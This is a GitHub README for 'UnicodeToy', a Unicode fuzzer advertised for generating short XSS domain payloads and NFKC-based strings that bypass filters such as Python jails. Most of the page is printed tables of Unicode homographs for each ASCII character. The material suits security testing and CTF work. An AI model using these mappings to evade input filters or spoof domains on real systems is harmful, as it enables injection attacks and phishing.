Skip to content

h13t0ry/UnicodeToy

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

4 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

UnicodeToy

Unicode fuzzer for various purposes

Unicode based on version 14.0

features

  • Generate the shortest xss domain payload
  • Generate unicode str, use NFKC mechanism to bypass some filter: python3, rust...(N-CTF 2019 python_jail), you know, homograph
  • ...

usage

  • toy.py main tool
  • script/get_latest_TLDs.py grab latest TLD from IANA
  • script/get_latest_unicode.py grab latest unicode collection from unicode.org (version 14.0.0)

generate ascii to homograph[unicodes] map

for your custom purpose, you can generate the whole table, choose something you need.

  • case 1: strict mode:
print("chr \t ascii_index \t homograph_list")
    for k, v in _gen_ascii_map(strict_mode=True).items():
        print(f"({k}) \t {ord(k)} \t {v}")

output:

chr 	 ascii_index 	 homograph_list
( ) 	 32 	 ['\xa0', '\u2000', '\u2001', '\u2002', '\u2003', '\u2004', '\u2005', '\u2006', '\u2007', '\u2008', '\u2009', '\u200a', '\u202f', '\u205f', '\u3000']
(a) 	 97 	 ['ยช', 'แตƒ', 'โ‚', 'โ“', '๏ฝ', '๐š', '๐‘Ž', '๐’‚', '๐’ถ', '๐“ช', '๐”ž', '๐•’', '๐–†', '๐–บ', '๐—ฎ', '๐˜ข', '๐™–', '๐šŠ']
(2) 	 50 	 ['ยฒ', 'โ‚‚', 'โ‘ก', '๏ผ’', '๐Ÿ', '๐Ÿš', '๐Ÿค', '๐Ÿฎ', '๐Ÿธ']
(3) 	 51 	 ['ยณ', 'โ‚ƒ', 'โ‘ข', '๏ผ“', '๐Ÿ‘', '๐Ÿ›', '๐Ÿฅ', '๐Ÿฏ', '๐Ÿน']
(1) 	 49 	 ['ยน', 'โ‚', 'โ‘ ', '๏ผ‘', '๐Ÿ', '๐Ÿ™', '๐Ÿฃ', '๐Ÿญ', '๐Ÿท']
(o) 	 111 	 ['ยบ', 'แต’', 'โ‚’', 'โ„ด', 'โ“ž', '๏ฝ', '๐จ', '๐‘œ', '๐’', '๐“ธ', '๐”ฌ', '๐• ', '๐–”', '๐—ˆ', '๐—ผ', '๐˜ฐ', '๐™ค', '๐š˜']
(s) 	 115 	 ['ลฟ', 'หข', 'โ‚›', 'โ“ข', '๏ฝ“', '๐ฌ', '๐‘ ', '๐’”', '๐“ˆ', '๐“ผ', '๐”ฐ', '๐•ค', '๐–˜', '๐—Œ', '๐˜€', '๐˜ด', '๐™จ', '๐šœ']
(h) 	 104 	 ['สฐ', 'โ‚•', 'โ„Ž', 'โ“—', '๏ฝˆ', '๐ก', '๐’‰', '๐’ฝ', '๐“ฑ', '๐”ฅ', '๐•™', '๐–', '๐—', '๐—ต', '๐˜ฉ', '๐™', '๐š‘']
(j) 	 106 	 ['สฒ', 'โ…‰', 'โ“™', 'โฑผ', '๏ฝŠ', '๐ฃ', '๐‘—', '๐’‹', '๐’ฟ', '๐“ณ', '๐”ง', '๐•›', '๐–', '๐—ƒ', '๐—ท', '๐˜ซ', '๐™Ÿ', '๐š“']
(r) 	 114 	 ['สณ', 'แตฃ', 'โ“ก', '๏ฝ’', '๐ซ', '๐‘Ÿ', '๐’“', '๐“‡', '๐“ป', '๐”ฏ', '๐•ฃ', '๐–—', '๐—‹', '๐—ฟ', '๐˜ณ', '๐™ง', '๐š›']
(w) 	 119 	 ['สท', 'โ“ฆ', '๏ฝ—', '๐ฐ', '๐‘ค', '๐’˜', '๐“Œ', '๐”€', '๐”ด', '๐•จ', '๐–œ', '๐—', '๐˜„', '๐˜ธ', '๐™ฌ', '๐š ']
(y) 	 121 	 ['สธ', 'โ“จ', '๏ฝ™', '๐ฒ', '๐‘ฆ', '๐’š', '๐“Ž', '๐”‚', '๐”ถ', '๐•ช', '๐–ž', '๐—’', '๐˜†', '๐˜บ', '๐™ฎ', '๐šข']
(l) 	 108 	 ['หก', 'โ‚—', 'โ„“', 'โ…ผ', 'โ“›', '๏ฝŒ', '๐ฅ', '๐‘™', '๐’', '๐“', '๐“ต', '๐”ฉ', '๐•', '๐–‘', '๐—…', '๐—น', '๐˜ญ', '๐™ก', '๐š•']
(x) 	 120 	 ['หฃ', 'โ‚“', 'โ…น', 'โ“ง', '๏ฝ˜', '๐ฑ', '๐‘ฅ', '๐’™', '๐“', '๐”', '๐”ต', '๐•ฉ', '๐–', '๐—‘', '๐˜…', '๐˜น', '๐™ญ', '๐šก']
(;) 	 59 	 ['อพ', '๏ธ”', '๏น”', '๏ผ›']
(A) 	 65 	 ['แดฌ', 'โ’ถ', '๏ผก', '๐€', '๐ด', '๐‘จ', '๐’œ', '๐“', '๐”„', '๐”ธ', '๐•ฌ', '๐– ', '๐—”', '๐˜ˆ', '๐˜ผ', '๐™ฐ', '๐Ÿ„ฐ']
(B) 	 66 	 ['แดฎ', 'โ„ฌ', 'โ’ท', '๏ผข', '๐', '๐ต', '๐‘ฉ', '๐“‘', '๐”…', '๐”น', '๐•ญ', '๐–ก', '๐—•', '๐˜‰', '๐˜ฝ', '๐™ฑ', '๐Ÿ„ฑ']
(D) 	 68 	 ['แดฐ', 'โ……', 'โ…ฎ', 'โ’น', '๏ผค', '๐ƒ', '๐ท', '๐‘ซ', '๐’Ÿ', '๐““', '๐”‡', '๐”ป', '๐•ฏ', '๐–ฃ', '๐——', '๐˜‹', '๐˜ฟ', '๐™ณ', '๐Ÿ„ณ']
(E) 	 69 	 ['แดฑ', 'โ„ฐ', 'โ’บ', '๏ผฅ', '๐„', '๐ธ', '๐‘ฌ', '๐“”', '๐”ˆ', '๐”ผ', '๐•ฐ', '๐–ค', '๐—˜', '๐˜Œ', '๐™€', '๐™ด', '๐Ÿ„ด']
(G) 	 71 	 ['แดณ', 'โ’ผ', '๏ผง', '๐†', '๐บ', '๐‘ฎ', '๐’ข', '๐“–', '๐”Š', '๐”พ', '๐•ฒ', '๐–ฆ', '๐—š', '๐˜Ž', '๐™‚', '๐™ถ', '๐Ÿ„ถ']
(H) 	 72 	 ['แดด', 'โ„‹', 'โ„Œ', 'โ„', 'โ’ฝ', '๏ผจ', '๐‡', '๐ป', '๐‘ฏ', '๐“—', '๐•ณ', '๐–ง', '๐—›', '๐˜', '๐™ƒ', '๐™ท', '๐Ÿ„ท']
(I) 	 73 	 ['แดต', 'โ„', 'โ„‘', 'โ… ', 'โ’พ', '๏ผฉ', '๐ˆ', '๐ผ', '๐‘ฐ', '๐“˜', '๐•€', '๐•ด', '๐–จ', '๐—œ', '๐˜', '๐™„', '๐™ธ', '๐Ÿ„ธ']
(J) 	 74 	 ['แดถ', 'โ’ฟ', '๏ผช', '๐‰', '๐ฝ', '๐‘ฑ', '๐’ฅ', '๐“™', '๐”', '๐•', '๐•ต', '๐–ฉ', '๐—', '๐˜‘', '๐™…', '๐™น', '๐Ÿ„น']
(K) 	 75 	 ['แดท', 'โ„ช', 'โ“€', '๏ผซ', '๐Š', '๐พ', '๐‘ฒ', '๐’ฆ', '๐“š', '๐”Ž', '๐•‚', '๐•ถ', '๐–ช', '๐—ž', '๐˜’', '๐™†', '๐™บ', '๐Ÿ„บ']
(L) 	 76 	 ['แดธ', 'โ„’', 'โ…ฌ', 'โ“', '๏ผฌ', '๐‹', '๐ฟ', '๐‘ณ', '๐“›', '๐”', '๐•ƒ', '๐•ท', '๐–ซ', '๐—Ÿ', '๐˜“', '๐™‡', '๐™ป', '๐Ÿ„ป']
(M) 	 77 	 ['แดน', 'โ„ณ', 'โ…ฏ', 'โ“‚', '๏ผญ', '๐Œ', '๐‘€', '๐‘ด', '๐“œ', '๐”', '๐•„', '๐•ธ', '๐–ฌ', '๐— ', '๐˜”', '๐™ˆ', '๐™ผ', '๐Ÿ„ผ']
(N) 	 78 	 ['แดบ', 'โ„•', 'โ“ƒ', '๏ผฎ', '๐', '๐‘', '๐‘ต', '๐’ฉ', '๐“', '๐”‘', '๐•น', '๐–ญ', '๐—ก', '๐˜•', '๐™‰', '๐™ฝ', '๐Ÿ„ฝ']
(O) 	 79 	 ['แดผ', 'โ“„', '๏ผฏ', '๐Ž', '๐‘‚', '๐‘ถ', '๐’ช', '๐“ž', '๐”’', '๐•†', '๐•บ', '๐–ฎ', '๐—ข', '๐˜–', '๐™Š', '๐™พ', '๐Ÿ„พ']
(P) 	 80 	 ['แดพ', 'โ„™', 'โ“…', '๏ผฐ', '๐', '๐‘ƒ', '๐‘ท', '๐’ซ', '๐“Ÿ', '๐”“', '๐•ป', '๐–ฏ', '๐—ฃ', '๐˜—', '๐™‹', '๐™ฟ', '๐Ÿ„ฟ']
(R) 	 82 	 ['แดฟ', 'โ„›', 'โ„œ', 'โ„', 'โ“‡', '๏ผฒ', '๐‘', '๐‘…', '๐‘น', '๐“ก', '๐•ฝ', '๐–ฑ', '๐—ฅ', '๐˜™', '๐™', '๐š', '๐Ÿ„ฌ', '๐Ÿ…']
(T) 	 84 	 ['แต€', 'โ“‰', '๏ผด', '๐“', '๐‘‡', '๐‘ป', '๐’ฏ', '๐“ฃ', '๐”—', '๐•‹', '๐•ฟ', '๐–ณ', '๐—ง', '๐˜›', '๐™', '๐šƒ', '๐Ÿ…ƒ']
(U) 	 85 	 ['แต', 'โ“Š', '๏ผต', '๐”', '๐‘ˆ', '๐‘ผ', '๐’ฐ', '๐“ค', '๐”˜', '๐•Œ', '๐–€', '๐–ด', '๐—จ', '๐˜œ', '๐™', '๐š„', '๐Ÿ…„']
(W) 	 87 	 ['แต‚', 'โ“Œ', '๏ผท', '๐–', '๐‘Š', '๐‘พ', '๐’ฒ', '๐“ฆ', '๐”š', '๐•Ž', '๐–‚', '๐–ถ', '๐—ช', '๐˜ž', '๐™’', '๐š†', '๐Ÿ…†']
(b) 	 98 	 ['แต‡', 'โ“‘', '๏ฝ‚', '๐›', '๐‘', '๐’ƒ', '๐’ท', '๐“ซ', '๐”Ÿ', '๐•“', '๐–‡', '๐–ป', '๐—ฏ', '๐˜ฃ', '๐™—', '๐š‹']
(d) 	 100 	 ['แตˆ', 'โ…†', 'โ…พ', 'โ““', '๏ฝ„', '๐', '๐‘‘', '๐’…', '๐’น', '๐“ญ', '๐”ก', '๐••', '๐–‰', '๐–ฝ', '๐—ฑ', '๐˜ฅ', '๐™™', '๐š']
(e) 	 101 	 ['แต‰', 'โ‚‘', 'โ„ฏ', 'โ…‡', 'โ“”', '๏ฝ…', '๐ž', '๐‘’', '๐’†', '๐“ฎ', '๐”ข', '๐•–', '๐–Š', '๐–พ', '๐—ฒ', '๐˜ฆ', '๐™š', '๐šŽ']
(g) 	 103 	 ['แต', 'โ„Š', 'โ“–', '๏ฝ‡', '๐ ', '๐‘”', '๐’ˆ', '๐“ฐ', '๐”ค', '๐•˜', '๐–Œ', '๐—€', '๐—ด', '๐˜จ', '๐™œ', '๐š']
(k) 	 107 	 ['แต', 'โ‚–', 'โ“š', '๏ฝ‹', '๐ค', '๐‘˜', '๐’Œ', '๐“€', '๐“ด', '๐”จ', '๐•œ', '๐–', '๐—„', '๐—ธ', '๐˜ฌ', '๐™ ', '๐š”']
(m) 	 109 	 ['แต', 'โ‚˜', 'โ…ฟ', 'โ“œ', '๏ฝ', '๐ฆ', '๐‘š', '๐’Ž', '๐“‚', '๐“ถ', '๐”ช', '๐•ž', '๐–’', '๐—†', '๐—บ', '๐˜ฎ', '๐™ข', '๐š–']
(p) 	 112 	 ['แต–', 'โ‚š', 'โ“Ÿ', '๏ฝ', '๐ฉ', '๐‘', '๐’‘', '๐“…', '๐“น', '๐”ญ', '๐•ก', '๐–•', '๐—‰', '๐—ฝ', '๐˜ฑ', '๐™ฅ', '๐š™']
(t) 	 116 	 ['แต—', 'โ‚œ', 'โ“ฃ', '๏ฝ”', '๐ญ', '๐‘ก', '๐’•', '๐“‰', '๐“ฝ', '๐”ฑ', '๐•ฅ', '๐–™', '๐—', '๐˜', '๐˜ต', '๐™ฉ', '๐š']
(u) 	 117 	 ['แต˜', 'แตค', 'โ“ค', '๏ฝ•', '๐ฎ', '๐‘ข', '๐’–', '๐“Š', '๐“พ', '๐”ฒ', '๐•ฆ', '๐–š', '๐—Ž', '๐˜‚', '๐˜ถ', '๐™ช', '๐šž']
(v) 	 118 	 ['แต›', 'แตฅ', 'โ…ด', 'โ“ฅ', '๏ฝ–', '๐ฏ', '๐‘ฃ', '๐’—', '๐“‹', '๐“ฟ', '๐”ณ', '๐•ง', '๐–›', '๐—', '๐˜ƒ', '๐˜ท', '๐™ซ', '๐šŸ']
(i) 	 105 	 ['แตข', 'โฑ', 'โ„น', 'โ…ˆ', 'โ…ฐ', 'โ“˜', '๏ฝ‰', '๐ข', '๐‘–', '๐’Š', '๐’พ', '๐“ฒ', '๐”ฆ', '๐•š', '๐–Ž', '๐—‚', '๐—ถ', '๐˜ช', '๐™ž', '๐š’']
(c) 	 99 	 ['แถœ', 'โ…ฝ', 'โ“’', '๏ฝƒ', '๐œ', '๐‘', '๐’„', '๐’ธ', '๐“ฌ', '๐” ', '๐•”', '๐–ˆ', '๐–ผ', '๐—ฐ', '๐˜ค', '๐™˜', '๐šŒ']
(f) 	 102 	 ['แถ ', 'โ“•', '๏ฝ†', '๐Ÿ', '๐‘“', '๐’‡', '๐’ป', '๐“ฏ', '๐”ฃ', '๐•—', '๐–‹', '๐–ฟ', '๐—ณ', '๐˜ง', '๐™›', '๐š']
(z) 	 122 	 ['แถป', 'โ“ฉ', '๏ฝš', '๐ณ', '๐‘ง', '๐’›', '๐“', '๐”ƒ', '๐”ท', '๐•ซ', '๐–Ÿ', '๐—“', '๐˜‡', '๐˜ป', '๐™ฏ', '๐šฃ']
(`) 	 96 	 ['แฟฏ', '๏ฝ€']
(.) 	 46 	 ['โ€ค', '๏น’', '๏ผŽ']
(0) 	 48 	 ['โฐ', 'โ‚€', 'โ“ช', '๏ผ', '๐ŸŽ', '๐Ÿ˜', '๐Ÿข', '๐Ÿฌ', '๐Ÿถ']
(4) 	 52 	 ['โด', 'โ‚„', 'โ‘ฃ', '๏ผ”', '๐Ÿ’', '๐Ÿœ', '๐Ÿฆ', '๐Ÿฐ', '๐Ÿบ']
(5) 	 53 	 ['โต', 'โ‚…', 'โ‘ค', '๏ผ•', '๐Ÿ“', '๐Ÿ', '๐Ÿง', '๐Ÿฑ', '๐Ÿป']
(6) 	 54 	 ['โถ', 'โ‚†', 'โ‘ฅ', '๏ผ–', '๐Ÿ”', '๐Ÿž', '๐Ÿจ', '๐Ÿฒ', '๐Ÿผ']
(7) 	 55 	 ['โท', 'โ‚‡', 'โ‘ฆ', '๏ผ—', '๐Ÿ•', '๐ŸŸ', '๐Ÿฉ', '๐Ÿณ', '๐Ÿฝ']
(8) 	 56 	 ['โธ', 'โ‚ˆ', 'โ‘ง', '๏ผ˜', '๐Ÿ–', '๐Ÿ ', '๐Ÿช', '๐Ÿด', '๐Ÿพ']
(9) 	 57 	 ['โน', 'โ‚‰', 'โ‘จ', '๏ผ™', '๐Ÿ—', '๐Ÿก', '๐Ÿซ', '๐Ÿต', '๐Ÿฟ']
(+) 	 43 	 ['โบ', 'โ‚Š', '๏ฌฉ', '๏นข', '๏ผ‹']
(=) 	 61 	 ['โผ', 'โ‚Œ', '๏นฆ', '๏ผ']
(() 	 40 	 ['โฝ', 'โ‚', '๏ธต', '๏น™', '๏ผˆ']
()) 	 41 	 ['โพ', 'โ‚Ž', '๏ธถ', '๏นš', '๏ผ‰']
(n) 	 110 	 ['โฟ', 'โ‚™', 'โ“', '๏ฝŽ', '๐ง', '๐‘›', '๐’', '๐“ƒ', '๐“ท', '๐”ซ', '๐•Ÿ', '๐–“', '๐—‡', '๐—ป', '๐˜ฏ', '๐™ฃ', '๐š—']
(C) 	 67 	 ['โ„‚', 'โ„ญ', 'โ…ญ', 'โ’ธ', '๏ผฃ', '๐‚', '๐ถ', '๐‘ช', '๐’ž', '๐“’', '๐•ฎ', '๐–ข', '๐—–', '๐˜Š', '๐˜พ', '๐™ฒ', '๐Ÿ„ซ', '๐Ÿ„ฒ']
(Q) 	 81 	 ['โ„š', 'โ“†', '๏ผฑ', '๐', '๐‘„', '๐‘ธ', '๐’ฌ', '๐“ ', '๐””', '๐•ผ', '๐–ฐ', '๐—ค', '๐˜˜', '๐™Œ', '๐š€', '๐Ÿ…€']
(Z) 	 90 	 ['โ„ค', 'โ„จ', 'โ“', '๏ผบ', '๐™', '๐‘', '๐’', '๐’ต', '๐“ฉ', '๐–…', '๐–น', '๐—ญ', '๐˜ก', '๐™•', '๐š‰', '๐Ÿ…‰']
(F) 	 70 	 ['โ„ฑ', 'โ’ป', '๏ผฆ', '๐…', '๐น', '๐‘ญ', '๐“•', '๐”‰', '๐”ฝ', '๐•ฑ', '๐–ฅ', '๐—™', '๐˜', '๐™', '๐™ต', '๐Ÿ„ต']
(V) 	 86 	 ['โ…ค', 'โ“‹', 'โฑฝ', '๏ผถ', '๐•', '๐‘‰', '๐‘ฝ', '๐’ฑ', '๐“ฅ', '๐”™', '๐•', '๐–', '๐–ต', '๐—ฉ', '๐˜', '๐™‘', '๐š…', '๐Ÿ……']
(X) 	 88 	 ['โ…ฉ', 'โ“', '๏ผธ', '๐—', '๐‘‹', '๐‘ฟ', '๐’ณ', '๐“ง', '๐”›', '๐•', '๐–ƒ', '๐–ท', '๐—ซ', '๐˜Ÿ', '๐™“', '๐š‡', '๐Ÿ…‡']
(S) 	 83 	 ['โ“ˆ', '๏ผณ', '๐’', '๐‘†', '๐‘บ', '๐’ฎ', '๐“ข', '๐”–', '๐•Š', '๐•พ', '๐–ฒ', '๐—ฆ', '๐˜š', '๐™Ž', '๐š‚', '๐Ÿ…‚']
(Y) 	 89 	 ['โ“Ž', '๏ผน', '๐˜', '๐‘Œ', '๐’€', '๐’ด', '๐“จ', '๐”œ', '๐•', '๐–„', '๐–ธ', '๐—ฌ', '๐˜ ', '๐™”', '๐šˆ', '๐Ÿ…ˆ']
(q) 	 113 	 ['โ“ ', '๏ฝ‘', '๐ช', '๐‘ž', '๐’’', '๐“†', '๐“บ', '๐”ฎ', '๐•ข', '๐––', '๐—Š', '๐—พ', '๐˜ฒ', '๐™ฆ', '๐šš']
(,) 	 44 	 ['๏ธ', '๏น', '๏ผŒ']
(:) 	 58 	 ['๏ธ“', '๏น•', '๏ผš']
(!) 	 33 	 ['๏ธ•', '๏น—', '๏ผ']
(?) 	 63 	 ['๏ธ–', '๏น–', '๏ผŸ']
(_) 	 95 	 ['๏ธณ', '๏ธด', '๏น', '๏นŽ', '๏น', '๏ผฟ']
({) 	 123 	 ['๏ธท', '๏น›', '๏ฝ›']
(}) 	 125 	 ['๏ธธ', '๏นœ', '๏ฝ']
([) 	 91 	 ['๏น‡', '๏ผป']
(]) 	 93 	 ['๏นˆ', '๏ผฝ']
(#) 	 35 	 ['๏นŸ', '๏ผƒ']
(&) 	 38 	 ['๏น ', '๏ผ†']
(*) 	 42 	 ['๏นก', '๏ผŠ']
(-) 	 45 	 ['๏นฃ', '๏ผ']
(<) 	 60 	 ['๏นค', '๏ผœ']
(>) 	 62 	 ['๏นฅ', '๏ผž']
(\) 	 92 	 ['๏นจ', '๏ผผ']
($) 	 36 	 ['๏นฉ', '๏ผ„']
(%) 	 37 	 ['๏นช', '๏ผ…']
(@) 	 64 	 ['๏นซ', '๏ผ ']
(") 	 34 	 ['๏ผ‚']
(') 	 39 	 ['๏ผ‡']
(/) 	 47 	 ['๏ผ']
(^) 	 94 	 ['๏ผพ']
(|) 	 124 	 ['๏ฝœ']
(~) 	 126 	 ['๏ฝž']
  • case 2: lax mode
print("chr \t ascii_index \t homograph_list")
for k, v in _gen_ascii_map(strict_mode=False).items():
    print(f"({k}) \t {ord(k)} \t {v}")

output:

chr 	 ascii_index 	 homograph_list
( ) 	 32 	 ['\xa0', 'ยจ', 'ยฏ', 'ยด', 'ยธ', 'ห˜', 'ห™', 'หš', 'ห›', 'หœ', 'ห', 'อบ', 'ฮ„', 'ฮ…', 'แพฝ', 'แพฟ', 'แฟ€', 'แฟ', 'แฟ', 'แฟŽ', 'แฟ', 'แฟ', 'แฟž', 'แฟŸ', 'แฟญ', 'แฟฎ', 'แฟฝ', 'แฟพ', '\u2000', '\u2001', '\u2002', '\u2003', '\u2004', '\u2005', '\u2006', '\u2007', '\u2008', '\u2009', '\u200a', 'โ€—', '\u202f', 'โ€พ', '\u205f', '\u3000', 'ใ‚›', 'ใ‚œ', '๏ฑž', '๏ฑŸ', '๏ฑ ', '๏ฑก', '๏ฑข', '๏ฑฃ', '๏ทบ', '๏ทบ', '๏ทบ', '๏ทป', '๏น‰', '๏นŠ', '๏น‹', '๏นŒ', '๏นฐ', '๏นฒ', '๏นด', '๏นถ', '๏นธ', '๏นบ', '๏นผ', '๏นพ', '๏ฟฃ']
(a) 	 97 	 ['ยช', 'แตƒ', 'แบš', 'โ‚', 'โ„€', 'โ„', 'โ’œ', 'โ“', 'ใฑ', 'ใฒ', 'ใด', 'ใŽˆ', 'ใŽ‰', 'ใŽฉ', 'ใŽช', 'ใŽซ', 'ใŽฌ', 'ใŽญ', 'ใŽฎ', 'ใŽฏ', 'ใ‚', 'ใŠ', 'ใฟ', '๏ฝ', '๐š', '๐‘Ž', '๐’‚', '๐’ถ', '๐“ช', '๐”ž', '๐•’', '๐–†', '๐–บ', '๐—ฎ', '๐˜ข', '๐™–', '๐šŠ']
(2) 	 50 	 ['ยฒ', 'ยฝ', 'โ‚‚', 'โ…”', 'โ…–', 'โ‘ก', 'โ‘ซ', 'โ‘ณ', 'โ‘ต', 'โ‘ฟ', 'โ’‡', 'โ’‰', 'โ’“', 'โ’›', 'ใ‰‘', 'ใ‰’', 'ใ‰’', 'ใ‰“', 'ใ‰”', 'ใ‰•', 'ใ‰–', 'ใ‰—', 'ใ‰˜', 'ใ‰™', 'ใ‰œ', 'ใŠท', 'ใ‹', 'ใ‹‹', 'ใš', 'ใค', 'ใฌ', 'ใญ', 'ใฎ', 'ใฎ', 'ใฏ', 'ใฐ', 'ใธ', 'ใŽŸ', 'ใŽ ', 'ใŽก', 'ใŽข', 'ใŽจ', 'ใŽฏ', 'ใก', 'ใซ', 'ใณ', 'ใด', 'ใต', 'ใต', 'ใถ', 'ใท', 'ใธ', 'ใน', 'ใบ', 'ใป', 'ใผ', '๏ผ’', '๐Ÿ', '๐Ÿš', '๐Ÿค', '๐Ÿฎ', '๐Ÿธ', '๐Ÿ„ƒ']
(3) 	 51 	 ['ยณ', 'ยพ', 'โ‚ƒ', 'โ…“', 'โ…”', 'โ…—', 'โ…œ', 'โ†‰', 'โ‘ข', 'โ‘ฌ', 'โ‘ถ', 'โ’€', 'โ’Š', 'โ’”', 'ใ‰“', 'ใ‰š', 'ใ‰›', 'ใ‰œ', 'ใ‰', 'ใ‰', 'ใ‰ž', 'ใ‰Ÿ', 'ใŠฑ', 'ใŠฒ', 'ใŠณ', 'ใŠด', 'ใŠธ', 'ใ‹‚', 'ใ›', 'ใฅ', 'ใฏ', 'ใน', 'ใŽฃ', 'ใŽค', 'ใŽฅ', 'ใŽฆ', 'ใข', 'ใฌ', 'ใถ', 'ใฝ', 'ใพ', '๏ผ“', '๐Ÿ‘', '๐Ÿ›', '๐Ÿฅ', '๐Ÿฏ', '๐Ÿน', '๐Ÿ„„']
(1) 	 49 	 ['ยน', 'ยผ', 'ยฝ', 'โ‚', 'โ…', 'โ…‘', 'โ…’', 'โ…’', 'โ…“', 'โ…•', 'โ…™', 'โ…›', 'โ…Ÿ', 'โ‘ ', 'โ‘ฉ', 'โ‘ช', 'โ‘ช', 'โ‘ซ', 'โ‘ฌ', 'โ‘ญ', 'โ‘ฎ', 'โ‘ฏ', 'โ‘ฐ', 'โ‘ฑ', 'โ‘ฒ', 'โ‘ด', 'โ‘ฝ', 'โ‘พ', 'โ‘พ', 'โ‘ฟ', 'โ’€', 'โ’', 'โ’‚', 'โ’ƒ', 'โ’„', 'โ’…', 'โ’†', 'โ’ˆ', 'โ’‘', 'โ’’', 'โ’’', 'โ’“', 'โ’”', 'โ’•', 'โ’–', 'โ’—', 'โ’˜', 'โ’™', 'โ’š', 'ใ‰‘', 'ใ‰›', 'ใŠถ', 'ใ‹€', 'ใ‹‰', 'ใ‹Š', 'ใ‹Š', 'ใ‹‹', 'ใ™', 'ใข', 'ใฃ', 'ใฃ', 'ใค', 'ใฅ', 'ใฆ', 'ใง', 'ใจ', 'ใฉ', 'ใช', 'ใซ', 'ใญ', 'ใ ', 'ใฉ', 'ใช', 'ใช', 'ใซ', 'ใฌ', 'ใญ', 'ใฎ', 'ใฏ', 'ใฐ', 'ใฑ', 'ใฒ', 'ใด', 'ใพ', '๏ผ‘', '๐Ÿ', '๐Ÿ™', '๐Ÿฃ', '๐Ÿญ', '๐Ÿท', '๐Ÿ„‚']
(o) 	 111 	 ['ยบ', 'แต’', 'โ‚’', 'โ„…', 'โ„–', 'โ„ด', 'โ’ช', 'โ“ž', 'ใต', 'ใ‡', 'ใ’', 'ใ–', '๏ฝ', '๐จ', '๐‘œ', '๐’', '๐“ธ', '๐”ฌ', '๐• ', '๐–”', '๐—ˆ', '๐—ผ', '๐˜ฐ', '๐™ค', '๐š˜']
(4) 	 52 	 ['ยผ', 'ยพ', 'โด', 'โ‚„', 'โ…˜', 'โ‘ฃ', 'โ‘ญ', 'โ‘ท', 'โ’', 'โ’‹', 'โ’•', 'ใ‰”', 'ใ‰ž', 'ใŠต', 'ใŠถ', 'ใŠท', 'ใŠธ', 'ใŠน', 'ใŠน', 'ใŠบ', 'ใŠป', 'ใŠผ', 'ใŠฝ', 'ใŠพ', 'ใ‹ƒ', 'ใœ', 'ใฆ', 'ใฐ', 'ใฃ', 'ใญ', 'ใท', '๏ผ”', '๐Ÿ’', '๐Ÿœ', '๐Ÿฆ', '๐Ÿฐ', '๐Ÿบ', '๐Ÿ„…']
(I) 	 73 	 ['ฤฒ', 'แดต', 'โ„', 'โ„‘', 'โ… ', 'โ…ก', 'โ…ก', 'โ…ข', 'โ…ข', 'โ…ข', 'โ…ฃ', 'โ…ฅ', 'โ…ฆ', 'โ…ฆ', 'โ…ง', 'โ…ง', 'โ…ง', 'โ…จ', 'โ…ช', 'โ…ซ', 'โ…ซ', 'โ’พ', 'ใบ', '๏ผฉ', '๐ˆ', '๐ผ', '๐‘ฐ', '๐“˜', '๐•€', '๐•ด', '๐–จ', '๐—œ', '๐˜', '๐™„', '๐™ธ', '๐Ÿ„˜', '๐Ÿ„ธ']
(J) 	 74 	 ['ฤฒ', 'ว‡', 'วŠ', 'แดถ', 'โ’ฟ', '๏ผช', '๐‰', '๐ฝ', '๐‘ฑ', '๐’ฅ', '๐“™', '๐”', '๐•', '๐•ต', '๐–ฉ', '๐—', '๐˜‘', '๐™…', '๐™น', '๐Ÿ„™', '๐Ÿ„น', '๐Ÿ†']
(i) 	 105 	 ['ฤณ', 'แตข', 'โฑ', 'โ„น', 'โ…ˆ', 'โ…ฐ', 'โ…ฑ', 'โ…ฑ', 'โ…ฒ', 'โ…ฒ', 'โ…ฒ', 'โ…ณ', 'โ…ต', 'โ…ถ', 'โ…ถ', 'โ…ท', 'โ…ท', 'โ…ท', 'โ…ธ', 'โ…บ', 'โ…ป', 'โ…ป', 'โ’ค', 'โ“˜', 'ใŒ', 'ใ•', '๏ฌ', '๏ฌƒ', '๏ฝ‰', '๐ข', '๐‘–', '๐’Š', '๐’พ', '๐“ฒ', '๐”ฆ', '๐•š', '๐–Ž', '๐—‚', '๐—ถ', '๐˜ช', '๐™ž', '๐š’']
(j) 	 106 	 ['ฤณ', 'วˆ', 'ว‰', 'ว‹', 'วŒ', 'สฒ', 'โ…‰', 'โ’ฅ', 'โ“™', 'โฑผ', '๏ฝŠ', '๐ฃ', '๐‘—', '๐’‹', '๐’ฟ', '๐“ณ', '๐”ง', '๐•›', '๐–', '๐—ƒ', '๐—ท', '๐˜ซ', '๐™Ÿ', '๐š“']
(L) 	 76 	 ['ฤฟ', 'ว‡', 'วˆ', 'แดธ', 'โ„’', 'โ„ก', 'โ…ฌ', 'โ“', 'ใ‹', '๏ผฌ', '๐‹', '๐ฟ', '๐‘ณ', '๐“›', '๐”', '๐•ƒ', '๐•ท', '๐–ซ', '๐—Ÿ', '๐˜“', '๐™‡', '๐™ป', '๐Ÿ„›', '๐Ÿ„ป']
(l) 	 108 	 ['ล€', 'ว‰', 'หก', 'โ‚—', 'โ„“', 'โ…ผ', 'โ’ง', 'โ“›', 'ใŽˆ', 'ใŽ‰', 'ใŽ•', 'ใŽ–', 'ใŽ—', 'ใŽ˜', 'ใ', 'ใ‘', 'ใ’', 'ใ“', 'ใ•', 'ใ–', 'ใฟ', '๏ฌ‚', '๏ฌ„', '๏ฝŒ', '๐ฅ', '๐‘™', '๐’', '๐“', '๐“ต', '๐”ฉ', '๐•', '๐–‘', '๐—…', '๐—น', '๐˜ญ', '๐™ก', '๐š•']
(n) 	 110 	 ['ล‰', 'วŒ', 'โฟ', 'โ‚™', 'โ’ฉ', 'โ“', 'ใŽ', 'ใŽ‹', 'ใŽš', 'ใŽฑ', 'ใŽต', 'ใŽป', 'ใŒ', 'ใ‘', '๏ฝŽ', '๐ง', '๐‘›', '๐’', '๐“ƒ', '๐“ท', '๐”ซ', '๐•Ÿ', '๐–“', '๐—‡', '๐—ป', '๐˜ฏ', '๐™ฃ', '๐š—']
